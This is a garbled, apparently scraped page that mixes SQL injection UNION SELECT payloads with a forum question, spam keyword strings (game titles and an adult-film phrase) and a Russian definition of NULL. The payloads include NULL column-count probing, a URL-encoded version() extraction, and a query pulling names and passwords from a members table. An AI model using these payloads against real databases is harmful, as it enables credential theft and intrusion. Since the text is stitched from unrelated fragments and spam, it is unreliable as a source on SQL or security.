select a,b,null,null from table1 union select null,null,c,d from table2 union select null,null,null,null,e,f from table3.
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
union all select null null null null null null null null null select concat 0x7e 0x27 0x72 y chut land strawberry shrort cake dress up the cutting with the boyfriend nail games manicure polar pup pokemon batel Download Real Soccer Game power kiss didi game ww free vidos f blue film of bugbi balloon...
...20SELECT%20NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20
found 4477 results in all patches.
Number of null-s on change between passed and failed queries is the one attacker looks for.
Null Byte and using %60 union base Sql Injection.
if null = null select 'nulls are equal' else select 'nulls are not equal'.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members This will combine results from both news table and members table and return all of them. Another Example: ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--. UNION – Fixing Language Issues.
NULL в Системах управления базами данных (СУБД) — специальное значение (псевдозначение), которое может быть записано в поле таблицы базы данных (БД). NULL соответствует понятию «пустое поле», то есть «поле, не содержащее никакого значения».